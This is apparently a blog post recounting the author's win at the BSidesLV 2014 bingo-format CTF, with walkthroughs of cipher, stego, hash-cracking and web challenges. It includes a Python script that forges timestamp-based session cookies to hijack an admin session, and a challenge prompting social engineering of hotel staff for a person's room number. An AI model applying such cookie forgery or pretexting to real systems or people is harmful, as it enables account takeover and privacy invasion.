I was in Las Vegas for another Security Summer Camp, and for the past 5 years a major part of that has been Security BSides, or BSidesLV. I checked in and only barely got a badge, as they had just run out (but while I was standing there looking sad, someone stepped up with an extra…crisis averted!)
It didn’t take long for me to notice a faint QR code on the back of the badge, but I didn’t bother to read where it led at this point. I hung out for a while, watched an interesting talk on PRNGs, and went back to my room at Black Hat to unwind after a long travel day.
The next morning, I looked at the contest and thought it should be fun. It generally followed a popular Jeopardy structure often seen in Capture the Flag (CTF) games, with five categories of challenges:
- Crack It - Password Cracking
- Decipher It - Stego and Crypto
- Do It - Expereince the con activities
- Hack It - Exploitation
- Misc. - everything else
Each category had five challenges, worth 10, 20, 30, 40, and 50 points. The first person to solve each challenge earned a 25% bonus as well.
One interesting twist was that it worked like a bingo board: completing five challenges in a row (across, down, or diagonal) earns a significant bingo bonus — 150 points for the first to complete a particular bingo, 100 for subsequent matching bingo sets. But to make it a little harder, the challenges were mixed up such that any valid bingo needed one of each category.
Here’s what the board looked like at the beginning of the game:
Players needed to click on each square to reveal the challenge and point value (between 10 and 50 points). To earn credit for a challenge, the players simply emailed their handle, the challenge name, and their answer, and it would be manually reviewed and added to the system. The middle square (usually a “free space” in bingo) was worth ten points, and served as the entry point into the game.
I was able to solve 15 of the 25 challenges, in just under 16 hours (though for the last one, the judges ruled that I’d been given too many hints…more on that later, but it was a fair decision).
Do It: CHALLENGE ACCEPTED! (10 points)
|8:18 am||No||22 people|
You've found this site, ergo you probably have a BSLV5 Badge. Send an e-mail to BSLV5@Urbane.sh with the subject "$yourhandle CHALLANGE ACCEPTED" to register.
Simply join the challenge. The overall game instructions said to include “Key: Legeneary” in the body of the email, so I did, just to be sure.
Misc: House Party (50 points)
|8:21 am||No||5 people|
Visit the first two BSides Houses and take a photo of you in front of them.
I didn’t go to the first BSides, but did make it to the second and remember it being a really great location. It took a little while to find the right addresses, but I drove by both and took a lousy selfie in front of each.
Crack It: Easy Peasy (10 points)
|9:00 am||No||19 people|
I think I just googled for this one. Definitely lived up to its name — just an MD5 hash of the word “nightowl”.
Decipher It: Knock Three Times If You’re There (30 points)
|9:01 am||Yes||2 people|
This was pretty clearly a Base-64 string. Decoding this gives…another Base-64 string.
RWtWQ1JFSVZWRE0wTVJSRA== And another.
EkVCREIVVDM0MRRD Then finally, the decoder produced a binary string. Looking at that in hex shows something kind of interesting — all the digits are between 1 and 5.
1245 4244 4215 5433 3431 1443
This, along with the challenge name, leads me to try a Knock Code:
Using the hex digits as row and column coordinates gives the answer for this challenge: “BURT REYNOLDS”.
Do It: $.02 (20 points)
|9:14 am||No||2 people|
Post an honest and detailed review online (of 1000 characters or more) of a talk you attended. Can be positive, neutral, or otherwise.
Fortunately, I had gone to a pretty interesting talk the day before, so I wrote up a quick little review and posted it. BSidesLV Mersenne Twister Talk
Crack It: LAme MAN…. (30 points)
|10:01 am||No||9 people|
Another quick password cracking exercise. I found an online tool, pasted in the hash, and quickly got the answer: “KR!3GERB0TSF7W”
Decipher It: Not Quite, Julius (10 points)
|10:08 am||Yes||3 people|
GSGHRRGUBUO Clue: 0123456789....
I immediately recognized that this was basically a Vigenère cipher, and the clue gave is the key: ABCDEFGH… The result was: “GREENMANTLE”.
Decipher It: WOPR With Cheese (20 points)
|10:40 am||Yes||1 person|
Something seems to be off with the WOPR today.
I stared at this picture for a while but couldn’t think what to do with it. The most likely course was that the image had been changed somehow, so I found the original image. But all the text seemed unchanged. At this point I was thinking there was a message hidden using steganography or something, and kind of stopped thinking about it for a while (I hate stego :)).
So, I moved on to the “Under the Door” challenge, and called the phone number in the image. It was the front desk at the Palm hotel, so I asked for Zack’s room, thinking I would get a recorded clue. Instead, I ended up talking to SecBarbie, who seemed surprised I had called. So I didn’t walk away completely empty handed, she suggested where I should look in the image.
Sure enough, on the bottom right edge of the “Time Remaining” box, was a section of line that appeared darker than the rest. Flipping back and forth between the original and new image, it became even more apparent. I zoomed in, hoping to see a message, but instead saw a series of oddly colored pixels.
Using an image editor, I found the RGB color values for each pixel, and treated those as ASCII values, which revealed the solution: “Flag=ASD5AS3587F8H9FRT8D5F2G3”.
Decipher It: Under The Door (40 points)
Completed: 10:51 am, 40 points + 10 point bonus for solving first, cumulative score 246 points
Completed by 1 person
|10:51 am||Yes||1 person|
Discovered this hidden message under my door....
I saw this, and it was very obviously an Enigma message. The trick is to find all the correct settings for the machine, and almost everything was easily available right here. Rotor starting point: 14-23-0 (or “O-X-A” depending on the tool you use). Stecker settings: AG, BT, CZ, etc. (on the right side of the note). All that’s remaining is the rotor order (frequently rotors I, II, and III, in that order) and ring settings (many tools default to AAA or 000).
Trying with the default rotors / rings didn’t work. But there’s something written behind the scribbled out lines on the left. The top says “3-1-2” but the bottom “15-24-1”. Trying those together didn’t work, but it seems pretty likely that 3-1-2 is the correct rotor order settings. So where are the ring settings?
As described earlier, I’d tried calling the phone number on the note, but that didn’t get me the ring settings. I stared at it for a little while longer, then realized — “RING” is written directly above the area code “702”. That’s probably the ring settings. duh.
Another problem with Engima in puzzles is that there are a lot of online tools and applets, but at least a few of them are slightly off in one way or another. Fortunately, I wrote my own some time ago, so testing many different settings is pretty trivial:
$ pbpaste | python trySetting.py -p AG-BT-CZ-DP-EM-FW-IR-LX-NO-SU -s OXA -w 312 -r HAC DKAVQAPCWNDSCDFCRUJLIRMWRTUGKI B-III-I-II-OXA(HAC)/AG-BT-CZ-DP-EM-FW-IR-LX-NO-SU AREWENOTDOINGPHRASINGANYMOREZF
So the answer to this challenge was “ARE WE NOT DOING PHRASING ANYMORE ZF”.
Hack It: Our Bug Bounty Program (10 points)
|11:39 am||No||5 people|
Submit your best fake-bug discovery (i.e. information disclosure through copy/paste to other applications).
I really wasn’t sure how we were supposed to do this, so I replied with a real bug discovery notice, but also included a lame “Did you know that if you use a password manager you might accidentally paste your password into a group Skype chat?” kind of “disclosure.”
Apparently that wasn’t quite good enough, and as a copy/paste “bug” was used in the example, I was told to try again. I then submitted this:
OMGOMGOMG! There’s a horrible vulnerability in the hotel! You can open ANY room with this bug! Take your hotel room key. Go to any other room (for example, Sec Barbie’s room, which number i don’t know yet but I have minions trying to find it for me), and then using the card.. ** shove it between the door and the door jamb.** If you do it JUST RIGHT, in the right place, you can push the door latch over and open the door. now you’re in the room. Scary, eh? You’d think they’d have fixed this by now.
I got “C+ for effort” but was given credit for the challenge anyway. I guess I’m just not very good at creating fake bug reports.
Hack It: This Concludes Your Evaluation (30 points)
|1:45 pm||No||4 people|
Determine the successful password for http://bslv5.urbanesecurity.com/hackit2.html
This challenge presented the player with a simple web form: a single text field and a submit button. Enter the wrong value in the field, and the page just reloads. Enter the right value, and you get “Login Successful.” What’s the right value?
That gave me the correct answer: “CyrilFiggis”.
Misc: Potent Potables (20 points)
|2:01 pm||Yes||2 people|
Take a photo of you doing a shot with a BSidesLV staff member.
I sent a friend, co-worker, and BSides Goon off in search of a shot glass to complete this (obviously easy) task, and surprisingly, he couldn’t find one anywhere on the main conference floor. But as I was heading out of the building to go back to Mandalay Bay and afternoon talks at Black Hat, I was interrupted by Todd Kimball who asked me to taste a particular whiskey he had in a coffee cup. It wasn’t a shot glass, but it was booze, and he was a staff member.
Amazingly, I was the first person to complete this challenge.
Hack It: You Can’t Ignore This (20 points)
|3:56 pm||No||3 people|
Determine the key hidden at http://bslv5.urbanesecurity.com/~urbanesec/. Note: everything in /~urbanesec/* is fair game.
I was tuck on this for a long time. The page simply shows “Find the key inside this file.”
First, I tried to figure out what the “ignore” in the title meant. I knew there was something obvious that I was missing, but I just couldn’t think of it (it was like deja vu — I could sense an obvoius use of ignore but just couldn’t pin it down…)
At one point Zack even told me “I’d work more on “You can’t ignore this”. That one is the easiest to git.” But I didn’t notice the hint.
Then sometime later, it hit me — git ignore. Duh. The key must be in there So I tried grabbing the .gitignore file, and sure enough, there was a single file listed. But the contents of that file didn’t help at all. I thought, I must need to descend into the .git folder — I should be able to find the index.php file there directly. But none of the standard folders seemed to exist, or at least, the webserver wasn’t serving them up to me. And also my cellular connection (in the talk I was sitting in at the time) wasn’t being very cooporerative, and half my page fetches weren’t even working anyway.
Eventually, I found my way to a window and got a stronger connection, but I still couldn’t get the answer. I asked @sibios if he had any suggestions, and he helped me re-focus — suggested I create a new git repository and look at what files are created by default. There’s a “config” file — that was the trick.
The answer to this stage, then, was, “BurtReynoldsIsOnThePHONE!” Which gave me another 20 points, and my first bingo! At least 100 points, probably 150, but at this stage I’m not positive whether the scoreboard is current or if anyone has caught up to me. So, just to be sure that I don’t get caught, I keep working on the Shortener challenge…
Hack It: Short Challenge (40 points)
|6:18 pm||No||4 people|
Discover the key at http://188.8.131.52:8885/
This one took me a long time to figure out — most of the day, in fact. The site was a simple field, but when you entered a URL, it would return a special shortened URL. My initial thinking was that I was looking for a key in the cryptography sense, and had to figure out how the random bit at the end of the shortener was derived. Zack helped me out pretty early by reminding me that this was a “Hack” category, not “Crypto.”
I tried a bunch of things, thinking to break the system somehow: SQLi to dump something in the table PHP source code disclosures, etc. The tool verifies that the remote site entered was valid — possibly something there. Interestingly, when you tried to shorten itself, it seemed to crash.
I set up a simple python http server on a remote Linode instance, just to see what the script did — it’s simply sending a “GET” command for the URL entered. I thought “I should try checking the HTTP headers” but didn’t at that time.
So I set it aside, worked on other problems, went to some talks, etc., and then some Twitter exchanges with @sibios helped me to remember that I’d never actually looked at the http headers presented by the shortener script. So I went back to the remote host, set up netcat listening on port 8000, and asked the tool to shorten a fake URL on that site. This is what I saw:
So the solution to this challenge, which gave my my second bingo of the day, was “This is a pretty sweet key”.
Decipher It: One More Time (50 points)
|11:56 pm||Yes||0 people (officially)|
NOTE: Points not actually awarded. Had this counted for the record, would have added 50 points + 13 point bonus for solving first, with a final score of 734 points.
FFPJEMZAHEUCQH (A clue added later: "Remember that one time, with Ceasar, things got insane at the Ninja party?")
By now, I was pretty confident that I had done just about everything I could today, though I still really wanted to get the last crypto puzzle. But it was time to eat, so off I went to a great hacker buffet at The Wynn. While there, I returned the favor to @sibios and helped him complete Knock Three Times.
I didn’t get back to my room until 11:45, and I emailed Zack to say that I was going to give it one last try. I asked if he could give me any last hints without giving it away, and mentioned what I had tried so far.
I had decided early on that this was probably a one-time pad (OTP), but where to find the key? The later hint suggested Caesar, but I knew that for a 50-point puzzle this couldn’t be just Caesar. I tried many words and phrases, parts of the lyrics to the song “One More Time,” and just couldn’t make anything work.
At 5:30, while still trying to figure out the Shortener challenge, he told me “Here at Urbane Security, we love one time pads….almost as much as we like Caesar salads (no anchovies of course)”. It was at about this time that I noticed that “Urbane Security” had the same number of characters as the cipher text. But that alone didn’t work.
Maybe it was a two-step process, though that’s usually a lot harder on players because you don’t get any real feedback on the intermediate success. Still, a just doing a simple ROT-x after using the one-time pad doesn’t seem too outrageous, so I checked all the possible shifts and found nothing.
“Security BSides” also had the right number of letters, so I played with that for a while. I tried shifting each key then using it with the OTP, or using one for OTP and another for a keyed Caesar, or the same parts but in the other order, etc. Finally, I had simply given up in favor of food.
But now I was back in my room and had described some of all that (in greatly abbreviated form) to Zack.
On Wed, Aug 6, 2014 at 11:52 PM, Zack Fasel wrote: > "also tried using urbanesecurity as the OTP and > then rotating the output through all 26 (25, > but whatever) shifts" really?
Ha! I must have been on the right track after all. I tried reviewing my steps, and was in the middle of responding with some examples of what I’d tried, when he sent another note:
try it with rot 3 and let me know if it starts with "ILL"
I saw the ROT-3 but not the other part… and, squinting at the screen, saw the answer.
The correct solution was “ILLGOFETCHARUG” (“I’ll go fetch a rug.”). Zack sent along this Sterling Archer video too, by way of explanation. Which confirms that I should definitely watch this show. (I somehow suspect a lot of the other answers came from this same source).
But hadn’t I tried exactly this before? Scrollback confirmed, I totally missed it, hours before:
In the end, Zack felt that he’d given me too many hints (especially the last “look at ROT-3” suggestion), and that he wasn’t sure should give me credit for it. Which I can kind of understand. Having another box checked off would’ve been nice, but the fact is I completely missed it before, and quite possibly could have missed it again. Skimming the output, glancing at the start and end of each line, “ILLGOFE…” and “…HARUG” just don’t jump out. So it’s pretty easy to miss.
Challenges I didn’t complete
Do It: Pick 3 (40 points)
Submit a photo of signed evidence that you picked 3 Locks comprising of Easy (3 pin), Medium (5 pin), and hard (5 pin + 2 security pins) in 7 minutes or less in the lockpick area.
Crack It: Don’t Eat That! (50 points)
Crack this admin's password:01c1fe5112f563e030f6aba0f51be085
Zack provided me with the answer so I could share it here: “Trufflepig1986?”.
$ python Python 2.7.5 (default, Mar 9 2014, 22:15:05) [GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.0.68)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import hashlib, binascii >>> hash = hashlib.new('md4', 'Trufflepig1986?'.encode('utf-16le')).digest() >>> binascii.b2a_hex(hash) '01c1fe5112f563e030f6aba0f51be085' >>>
Misc: Jack and Coke? (40 points)
Take a photo of yourself with a signature drink vessel at Jack Daniels signature Las Vegas drinking establishment.
Misc: Cannoonnballll! (10 points)
Take a video (must be a video) of you taking a cannonball jump into the pool.
Crack It: Such Admin, Very Weak (20 points)
I later spoke with Zack (after solving Babytown Frolics) and he told me he’d hoped that someone would get this with a decent wordlist and mutation engine. The password was “Summer14!” which, honestly, I’m a little disappointed JTR didn’t find for me. :(
The hash was a salted-SHA-512 hash, 5000 rounds:
Python 2.7.5 (default, Mar 9 2014, 22:15:05) [GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.0.68)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> from passlib.hash import sha512_crypt >>> sha512_crypt.encrypt('Summer14!', salt='DwjR36pA', rounds=5000) '$6$DwjR36pA$QskuzZ/K.4gF.mFmP2At3/QOC5I061AScmWzoqtGsyuLoKVx1j4DMY6esuoKjWDBimes9Qy1x4nBC/MTdeOrV/'
Hack It: Babytown Frolics (50 points)
Discover the key at http://184.108.40.206:8884/
This challenge presented the user with a simple name and password form, and nothing else.
So many of the results in this contest included references to the TV show Archer, that I finally broke down and watched it. It’s a helluva show. About halfway through the first one, Archer breaks into a mainframe using the password “guest” and, amazed at how easy it is, exclaims “Babytown frolics!” I just about jumped off the couch, shouting “AHA!” After the show was done, I ran downstairs and figured this out in like 15 minutes (though I needed Zack to “prime the contest” as it were, and some time to build a functional script….)
Entering “guest” as both userid and password, the player is presented with a screen like this:
If you click on the “latest user logs” you get a time-stamped list of logins. When I was working on this, the program had been reset, so I needed Zack to log in as admin once. At that point, the history looked like this:
Looking at the cookies for the page, I see a single session ID cookie:
$ echo 'MTQwNzkwMDUzMTMyTk9UVEhFS0VZ' | base64 -D 140790053132NOTTHEKEY
That’s “not the key”, as it clearly says, but it’s damned close. The first 10 digits of this cookie represents the UNIX timestamp for when the cookie was created (when the user logged in), then there’s a (seemingly random) 2-digit number, and then the string “NOTTHEKEY”.
So if I build a script like this:
import sys, time, calendar, base64, urllib2 target_date = sys.argv stamp = calendar.timegm(time.strptime(target_date, '%b %d %I:%M:%S %Y')) for x in range(0,100): cookie_str = '%d%dNOTTHEKEY' % (stamp, x) cookie = base64.b64encode(cookie_str) opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'sid=%s' % cookie)) url = 'http://220.127.116.11:8884/main' try: resp = opener.open(url) print resp.read() except: print x
and call it like this:
python doit.py "Aug 13 03:06:42 2014"
(where the timestamp was the last time Admin logged in), then I get an output like this:
$ python doit.py "Aug 13 03:06:42 2014" 0 1 2 <html> <head><title>Quite the application</title></head><body><h1>Welcome, my admin from another mother!</h1><br /> <h2>Your flag is: "I couldn't have done it without Morris Day and Jerome."</h2><br /> <a href="/log">See the latest user logs</a> <a href="/logout">Logout</a> </body></html> 4 5 ^C
On the fourth attempt, I was able to match the admin’s session cookie, reload the page with his permissions, and see the flag. Simple session hijacking and privilege escalation. Very nice.
Do It: Wheels on The Bus (30 points)
Start a sing along of "wheels on the bus", "99 bottles of beer on the wall", or even more creative (i.e. I am woman hear me roar) sing along on the bsides shuttle and video it!
Do It: ALL THE THINGS! (50 points)
Attend a talk in Common Ground, Breaking Ground, Proving Ground, and and a PasswordCon Track and the After Party and get a photo with a speaker from each (after their talk in the talk room) and one of the party DJs (during the party)
Misc: Special Delivery (30 points)
Find out and submit @SecBarbie's room number at the Tuscany. Social Engineering of Hotel Staff is a possibility.
Crack It: NyanNyan! (40 points)
After speaking with Zack, it seems this (and “Don’t Eat That!”) were both pretty difficult NTLM hashes. But since Passwords Con was running in the same space as BSides, he figured there’d be at least a couple people able to throw some real cracking gear against these hashes. Guess nobody tried. :(
As with the other two passwords I didn’t crack, Zach shared the answer with me so I could put it here: “$R4nd0m9!”.
$ python Python 2.7.5 (default, Mar 9 2014, 22:15:05) [GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.0.68)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import hashlib, binascii >>> hash = hashlib.new('md4', '$R4nd0m9!'.encode('utf-16le')).digest() >>> binascii.b2a_hex(hash).upper() 'E6E813370ACB92129BDA449EE25E0FA4' >>>
My final bingo scoreboard looked like this:
All My Scores
|9:01||Knock Three Times If You’re There||Yes||38||108|
|10:08||Not Quite, Julius||Yes||13||171|
|10:40||WOPR with Chese||Yes||25||196|
|10:51||Under the Door||Yes||50||246|
|11:39||Our Bug Bounty Program||No||10||256|
|1:45||This Concludes your Evaluation||No||30||286|
|3:56||You Can’t Ignore This||No||20||331|
|11:59||One More Tme||(Yes)||(63)||(734)|
And, yes, I won. Thanks so much to Urbane Security for sponsoring the contest, and to Zack Fasel for putting it together and running it. This was one of the best contests I’ve played in a while, and was not only challenging, but also exciting (and a bit stressful, worried that someone might snipe me with solutions at the last second and best me…) Though that also kind of added to the excitement.
Congratulations also to Sibios (248 points), Spiral Suitcase (228 points), R4V5 (196 points) and Shadghost (130 points), rounding out the top 5, of the 23 who played.